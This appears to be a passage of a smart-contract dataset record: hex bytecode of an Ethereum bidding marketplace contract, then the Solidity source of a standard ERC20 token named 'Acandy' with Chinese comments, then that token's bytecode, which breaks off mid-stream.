02fc57600080fd5b50610305610f31565b6040518082815260200191505060405180910390f35b34801561032757600080fd5b506103546004803603602081101561033e57600080fd5b8101908080359060200190929190505050610f37565b6040518082815260200191505060405180910390f35b34801561037657600080fd5b506103c36004803603604081101561038d57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f56565b005b3480156103d157600080fd5b5061041e600480360360408110156103e857600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fdf565b005b34801561042c57600080fd5b50610435611078565b005b34801561044357600080fd5b506105076004803603604081101561045a57600080fd5b810190808035906020019064010000000081111561047757600080fd5b82018360208201111561048957600080fd5b803590602001918460018302840111640100000000831117156104ab57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019092919050505061114b565b604051808560ff1681526020018460ff1681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405180910390f35b34801561055a57600080fd5b506105f66004803603608081101561057157600080fd5b810190808035906020019064010000000081111561058e57600080fd5b8201836020820111156105a057600080fd5b803590602001918460018302840111640100000000831117156105c257600080fd5b9091929391929390803560ff169060200190929190803560ff169060200190929190803590602001909291905050506111d8565b005b34801561060457600080fd5b5061060d611855565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561064557600080fd5b506106726004803603602081101561065c57600080fd5b810190808035906020019092919050505061187b565b005b34801561068057600080fd5b5061068961189b565b005b34801561069757600080fd5b5061075b600480360360408110156106ae57600080fd5b81019080803590602001906401000000008111156106cb57600080fd5b8201836020820111156106dd57600080fd5b803590602001918460018302840111640100000000831117156106ff57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050611b08565b604051808481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390f35b3480156107a157600080fd5b50610823600480360360408110156107b857600080fd5b81019080803590602001906401000000008111156107d557600080fd5b8201836020820111156107e757600080fd5b8035906020019184600183028401116401000000008311171561080957600080fd5b909192939192939080359060200190929190505050611b75565b005b34801561083157600080fd5b506108686004803603604081101561084857600080fd5b810190808035906020019092919080359060200190929190505050611e47565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108a057600080fd5b506108ed600480360360408110156108b757600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e78565b60405180821515815260200191505060405180910390f35b34801561091157600080fd5b5061091a611ea9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561095257600080fd5b5061095b611ecf565b6040518082815260200191505060405180910390f35b34801561097d57600080fd5b50610a0f6004803603606081101561099457600080fd5b81019080803590602001906401000000008111156109b157600080fd5b8201836020820111156109c357600080fd5b803590602001918460018302840111640100000000831117156109e557600080fd5b9091929391929390803560ff169060200190929190803560ff169060200190929190505050611ed6565b005b610aa260048036036060811015610a2757600080fd5b8101908080359060200190640100000000811115610a4457600080fd5b820183602082011115610a5657600080fd5b80359060200191846001830284011164010000000083111715610a7857600080fd5b9091929391929390803560ff169060200190929190803560ff16906020019092919050505061222c565b005b348015610ab057600080fd5b50610ab96125e7565b6040518082815260200191505060405180910390f35b348015610adb57600080fd5b50610ae46125ed565b005b348015610af257600080fd5b50610b1f60048036036020811015610b0957600080fd5b81019080803590602001909291905050506127d6565b6040518082815260200191505060405180910390f35b348015610b4157600080fd5b50610b8e60048036036040811015610b5857600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127fc565b005b348015610b9c57600080fd5b50610c3860048036036080811015610bb357600080fd5b8101908080359060200190640100000000811115610bd057600080fd5b820183602082011115610be257600080fd5b80359060200191846001830284011164010000000083111715610c0457600080fd5b9091929391929390803560ff169060200190929190803560ff16906020019092919080359060200190929190505050612885565b005b348015610c4657600080fd5b50610c8960048036036020811015610c5d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612f6f565b6040518082815260200191505060405180910390f35b348015610cab57600080fd5b50610cb4612f87565b6040518082815260200191505060405180910390f35b6000610cd4612f8d565b905060003411610d4c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f4249443a3a56616c75652069732030000000000000000000000000000000000081525060200191505060405180910390fd5b60405180606001604052808281526020013481526020013373ffffffffffffffffffffffffffffffffffffffff16815250600a848460405180838380828437808301925050509250505090815260200160405180910390206000838152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555090505080838360405180838380828437808301925050509250505060405180910390207f59f94987fb6cc2cf3e20cd6124c21b73d0a97aac461a329a97c362e642a394293433604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a3505050565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f235780601f10610ef857610100808354040283529160200191610f23565b820191906000526020600020905b815481529060010190602001808311610f0657829003601f168201915b505050505081565b60035481565b60075481565b6000806000838152602001908152602001600020600201549050919050565b610f7c60008084815260200190815260200160002060020154610f77612fa8565b611e78565b610fd1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180613699602f913960400191505060405180910390fd5b610fdb8282612fb0565b5050565b610fe7612fa8565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461106a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f8152602001806137bf602f913960400191505060405180910390fd5b6110748282613043565b5050565b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611147573d6000803e3d6000fd5b5050565b600982805160208101820180518482526020830160208501208183528095505050505050602052806000526040600020600091509150508060000160009054906101000a900460ff16908060000160019054906101000a900460ff16908060010154908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905084565b60006111e486866130d6565b90503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1663e039e4a186866040518363ffffffff1660e01b8152600401808360ff1681526020018260ff1681526020019250505060206040518083038186803b15801561125c57600080fd5b505afa158015611270573d6000803e3d6000fd5b505050506040513d602081101561128657600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1614611303576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806136c86025913960400191505060405180910390fd5b600061130f85856131a8565b90506000600a88886040518083838082843780830192505050925050509081526020016040518091039020600085815260200190815260200160002060405180606001604052908160008201548152602001600182015481526020016002820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815250509050600081602001511161143c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4143434550545f4249443a3a42696420616d6f756e742069732030000000000081525060200191505060405180910390fd5b83816000015114611498576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806137796023913960400191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff166393eec1fb87876040518363ffffffff1660e01b8152600401808360ff1681526020018260ff168152602001806020018281038252600081526020019350505050600060405180830381600087803b15801561150a57600080fd5b505af115801561151e573d6000803e3d6000fd5b505050508273ffffffffffffffffffffffffffffffffffffffff16637d5fec5a878784604001516040518463ffffffff1660e01b8152600401808460ff1681526020018360ff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019350505050600060405180830381600087803b1580156115a557600080fd5b505af11580156115b9573d6000803e3d6000fd5b5050505060006115d860065483602001516131bf90919063ffffffff16565b905080600760008282540192505081905550600061160382846020015161324890919063ffffffff16565b9050604051806060016040528087815260200160008152602001600073ffffffffffffffffffffffffffffffffffffffff16815250600a8b8b60405180838380828437808301925050509250505090815260200160405180910390206000888152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555090505080600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550838a8a60405180838380828437808301925050509250505060405180910390207f63708850b7b315431545d87b2df2e3c7d4a7f72bd1dca9e099eed7c59689ae658389338860400151604051808581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405180910390a3838a8a60405180838380828437808301925050509250505060405180910390207fafb35052ca6f2ef1a465d5725c888563a795ee382e848737b9ceace34759ba4f338660400151604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a350505050505050505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6118886000801b33611e78565b61189157600080fd5b8060068190555050565b60018054906101000a900460ff16806118b857506118b76132cb565b5b806118d05750600160009054906101000a900460ff16155b611925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e81526020018061374b602e913960400191505060405180910390fd5b600060018054906101000a900460ff1615905080156119735760018060016101000a81548160ff02191690831515021790555060018060006101000a81548160ff0219169083151502179055505b6119946000801b73568f02ee272909ae9352188d4ea406df810ba4de6132dc565b6119b56000801b739260ae742f44b7a2e9472f5c299aa0432b3502fa6132dc565b6119d66000801b73d2927a91570146218ed700566df516d67c5ecfab6132dc565b60146006819055506040518060400160405280601381526020017f45746865726961476c6f62616c4d61726b65740000000000000000000000000081525060029080519060200190611a299291906135cb565b50602160038190555073169332ae7d143e4b5c6baedb2fef77bfbddb4011600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073b21f8684f23dbb1008508b4de91a0aaedebdb7e4600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006008819055508015611b055760006001806101000a81548160ff0219169083151502179055505b50565b600a82805160208101820180518482526020830160208501208183528095505050505050602052806000526040600020600091509150508060000154908060010154908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905083565b6000600a84846040518083838082843780830192505050925050509081526020016040518091039020600083815260200190815260200160002060405180606001604052908160008201548152602001600182015481526020016002820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815250509050806040015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001806136ed602e913960400191505060405180910390fd5b81848460405180838380828437808301925050509250505060405180910390207fa6b14bccc4487df87f70266086fb25778c8876f4b5ce8fe6778f1562ee72fa64836020015133604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a3600081602001519050604051806060016040528084815260200160008152602001600073ffffffffffffffffffffffffffffffffffffffff16815250600a868660405180838380828437808301925050509250505090815260200160405180910390206000858152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509050503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e3f573d6000803e3d6000fd5b505050505050565b6000611e70826000808681526020019081526020016000206000016132ea90919063ffffffff16565b905092915050565b6000611ea18260008086815260200190815260200160002060000161330490919063ffffffff16565b905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000801b81565b6000611ee283836131a8565b9050600060098686604051808383808284378083019250505092505050908152602001604051809103902060008381526020019081526020016000206040518060800160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900460ff1660ff1660ff168152602001600182015481526020016002820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815250509050806060015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461204d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001806136ed602e913960400191505060405180910390fd5b81868660405180838380828437808301925050509250505060405180910390207fc855dee31cfb9d93a7a8b5eccab92e527fbbc822eb3423a6b9354f2572afbaaf836040015133604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a360008160400151905060405180608001604052808660ff1681526020018560ff16815260200160008152602001600073ffffffffffffffffffffffffffffffffffffffff16815250600988886040518083838082843780830192505050925050509081526020016040518091039020600085815260200190815260200160002060008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff1602179055506040820151816001015560608201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509050503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612222573d6000803e3d6000fd5b5050505050505050565b600061223883836131a8565b9050600034116122b0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f4249443a3a56616c75652069732030000000000000000000000000000000000081525060200191505060405180910390fd5b600060098686604051808383808284378083019250505092505050908152602001604051809103902060008381526020019081526020016000206040518060800160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900460ff1660ff1660ff168152602001600182015481526020016002820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152505090508060400151341161240a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4249443a3a4e65772062696420746f6f206c6f7700000000000000000000000081525060200191505060405180910390fd5b8060400151600b6000836060015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060405180608001604052808560ff1681526020018460ff1681526020013481526020013373ffffffffffffffffffffffffffffffffffffffff16815250600987876040518083838082843780830192505050925050509081526020016040518091039020600084815260200190815260200160002060008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff1602179055506040820151816001015560608201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555090505081868660405180838380828437808301925050509250505060405180910390207f4bdbd0b7c4ddebd6634b648712977ef1da1a190c8d8d3fd9aa9cf081f4d75ec13433604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a3505050505050565b60065481565b6125fa6000801b33611e78565b61260357600080fd5b60006007549050600060078190555060006126286004836131bf90919063ffffffff16565b905060006126638261265584612647868861324890919063ffffffff16565b61324890919063ffffffff16565b61324890919063ffffffff16565b905073448458ac5ee15ae1b5f73dba5bfa46046feeefdd73ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156126bf573d6000803e3d6000fd5b5073568f02ee272909ae9352188d4ea406df810ba4de73ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015801561271a573d6000803e3d6000fd5b50739260ae742f44b7a2e9472f5c299aa0432b3502fa73ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612775573d6000803e3d6000fd5b5073d2927a91570146218ed700566df516d67c5ecfab73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156127d0573d6000803e3d6000fd5b50505050565b60006127f5600080848152602001908152602001600020600001613334565b9050919050565b6128226000808481526020019081526020016000206002015461281d612fa8565b611e78565b612877576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603081526020018061371b6030913960400191505060405180910390fd5b6128818282613043565b5050565b600061289186866130d6565b90503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1663e039e4a186866040518363ffffffff1660e01b8152600401808360ff1681526020018260ff1681526020019250505060206040518083038186803b15801561290957600080fd5b505afa15801561291d573d6000803e3d6000fd5b505050506040513d602081101561293357600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff16146129b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806136c86025913960400191505060405180910390fd5b60006129bc85856131a8565b9050600060098888604051808383808284378083019250505092505050908152602001604051809103902060008381526020019081526020016000206040518060800160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900460ff1660ff1660ff168152602001600182015481526020016002820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152505090506000816040015111612b19576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4143434550545f4249443a3a42696420616d6f756e742069732030000000000081525060200191505060405180910390fd5b8381604001511015612b76576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061379c6023913960400191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff166393eec1fb87876040518363ffffffff1660e01b8152600401808360ff1681526020018260ff168152602001806020018281038252600081526020019350505050600060405180830381600087803b158015612be857600080fd5b505af1158015612bfc573d6000803e3d6000fd5b505050508273ffffffffffffffffffffffffffffffffffffffff16637d5fec5a878784606001516040518463ffffffff1660e01b8152600401808460ff1681526020018360ff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019350505050600060405180830381600087803b158015612c8357600080fd5b505af1158015612c97573d6000803e3d6000fd5b505050506000612cb660065483604001516131bf90919063ffffffff16565b9050806007600082825401925050819055506000612ce182846040015161324890919063ffffffff16565b905060405180608001604052808960ff1681526020018860ff16815260200160008152602001600073ffffffffffffffffffffffffffffffffffffffff1681525060098b8b6040518083838082843780830192505050925050509081526020016040518091039020600086815260200190815260200160002060008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff1602179055506040820151816001015560608201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555090505080600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550838a8a60405180838380828437808301925050509250505060405180910390207fb01cffff9e04206cad9b131ca4994667dcc45d82c28b10cf9103211e419945b483338760600151604051808481526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a3838a8a60405180838380828437808301925050509250505060405180910390207fafb35052ca6f2ef1a465d5725c888563a795ee382e848737b9ceace34759ba4f338660600151604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a350505050505050505050565b600b6020528060005260406000206000915090505481565b60085481565b60006001600860008282540192505081905550600854905090565b600033905090565b612fd78160008085815260200190815260200160002060000161334990919063ffffffff16565b1561303f57612fe4612fa8565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b61306a8160008085815260200190815260200160002060000161337990919063ffffffff16565b156130d257613077612fa8565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b600060405160200180807f312e3100000000000000000000000000000000000000000000000000000000008152506003019050604051602081830303815290604052805190602001208383604051602001808383808284378083019250505092505050604051602081830303815290604052805190602001201461317c57600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166131a0565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905092915050565b60008160ff166003548460ff160201905092915050565b6000808211613236576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b81838161323f57fe5b04905092915050565b6000828211156132c0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b818303905092915050565b60006132d6306133a9565b15905090565b6132e68282612fb0565b5050565b60006132f983600001836133bc565b60001c905092915050565b600061332c836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61343f565b905092915050565b600061334282600001613462565b9050919050565b6000613371836000018373ffffffffffffffffffffffffffffffffffffffff1660001b613473565b905092915050565b60006133a1836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6134e3565b905092915050565b600080823b905060008111915050919050565b60008183600001805490501161341d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806136776022913960400191505060405180910390fd5b82600001828154811061342c57fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b600081600001805490509050919050565b600061347f838361343f565b6134d85782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506134dd565b600090505b92915050565b600080836001016000848152602001908152602001600020549050600081146135bf576000600182039050600060018660000180549050039050600086600001828154811061352e57fe5b906000526020600020015490508087600001848154811061354b57fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061358357fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506135c5565b60009150505b92915050565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826136015760008555613648565b82601f1061361a57805160ff1916838001178555613648565b82800160010185558215613648579182015b8281111561364757825182559160200191906001019061362c565b5b5090506136559190613659565b5090565b5b8082111561367257600081600090555060010161365a565b509056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f206772616e744143434550545f4249443a3a4f6e6c79206f776e65722063616e206163636570742062696457495448445241575f4249443a3a4f6e6c79206269646465722063616e2077697468647261772068697320626964416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f207265766f6b65496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a65644143434550545f4249443a3a42696420494420736f6d65686f77206368616e6765643f4143434550545f4249443a3a4d696e207072696365206e6f7420726573706563746564416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636520726f6c657320666f722073656c66a26469706673582212208296ba39e841607353d69bfd0d30afb2e38423563774047423034cc242d104d664736f6c63430007060033
[ 7 ]
0xf1b875ff2f9507ddf07a04319e83920f84a499dc
pragma solidity ^0.4.8; contract Token{ // token总量,默认会为public变量生成一个getter函数接口,名称为totalSupply(). uint256 public totalSupply; /// 获取账户_owner拥有token的数量 function balanceOf(address _owner) constant returns (uint256 balance); //从消息发送者账户中往_to账户转数量为_value的token function transfer(address _to, uint256 _value) returns (bool success); //从账户_from中往账户_to转数量为_value的token,与approve方法配合使用 function transferFrom(address _from, address _to, uint256 _value) returns (bool success); //消息发送账户设置账户_spender能从发送账户中转出数量为_value的token function approve(address _spender, uint256 _value) returns (bool success); //获取账户_spender可以从账户_owner中转出token的数量 function allowance(address _owner, address _spender) constant returns (uint256 remaining); //发生转账时必须要触发的事件 event Transfer(address indexed _from, address indexed _to, uint256 _value); //当函数approve(address _spender, uint256 _value)成功执行时必须触发的事件 event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //默认totalSupply 不会超过最大值 (2^256 - 1). //如果随着时间的推移将会有新的token生成,则可以用下面这句避免溢出的异常 //require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]); require(balances[msg.sender] >= _value); balances[msg.sender] -= _value;//从消息发送者账户中减去token数量_value balances[_to] += _value;//往接收账户增加token数量_value Transfer(msg.sender, _to, _value);//触发转币交易事件 return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //require(balances[_from] >= _value && allowed[_from][msg.sender] >= // _value && balances[_to] + _value > balances[_to]); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] += _value;//接收账户增加token数量_value balances[_from] -= _value; //支出账户_from减去token数量_value allowed[_from][msg.sender] -= _value;//消息发送者可以从账户_from中转出的数量减少_value Transfer(_from, _to, _value);//触发转币交易事件 return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender];//允许_spender从_owner中转出的token数 } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract Acandy is StandardToken { /* Public variables of the token */ string public name; //名称: eg Simon Bucks uint8 public decimals; //最多的小数位数,How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //token简称: eg SBX string public version = 'H0.1'; //版本 function Acandy(uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol) { balances[msg.sender] = _initialAmount; // 初始token数量给予消息发送者 totalSupply = _initialAmount; // 设置初始总量 name = _tokenName; // token名称 decimals = _decimalUnits; // 小数位数 symbol = _tokenSymbol; // token简称 } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); return true; } }
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014457806318160ddd146101a957806323b872dd146101d4578063313ce5671461025957806354fd4d501461028a57806370a082311461031a57806395d89b4114610371578063a9059cbb14610401578063cae9ca5114610466578063dd62ed3e14610511575b600080fd5b3480156100c057600080fd5b506100c9610588565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101095780820151818401526020810190506100ee565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061018f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610626565b604051808215151515815260200191505060405180910390f35b3480156101b557600080fd5b506101be610718565b6040518082815260200191505060405180910390f35b3480156101e057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061071e565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e61098a565b604051808260ff1660ff16815260200191505060405180910390f35b34801561029657600080fd5b5061029f61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102df5780820151818401526020810190506102c4565b50505050905090810190601f16801561030c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561032657600080fd5b5061035b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a3b565b6040518082815260200191505060405180910390f35b34801561037d57600080fd5b50610386610a84565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103c65780820151818401526020810190506103ab565b50505050905090810190601f1680156103f35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561040d57600080fd5b5061044c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b22565b604051808215151515815260200191505060405180910390f35b34801561047257600080fd5b506104f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610c7b565b604051808215151515815260200191505060405180910390f35b34801561051d57600080fd5b50610572600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f18565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561061e5780601f106105f35761010080835404028352916020019161061e565b820191906000526020600020905b81548152906001019060200180831161060157829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156107eb575081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410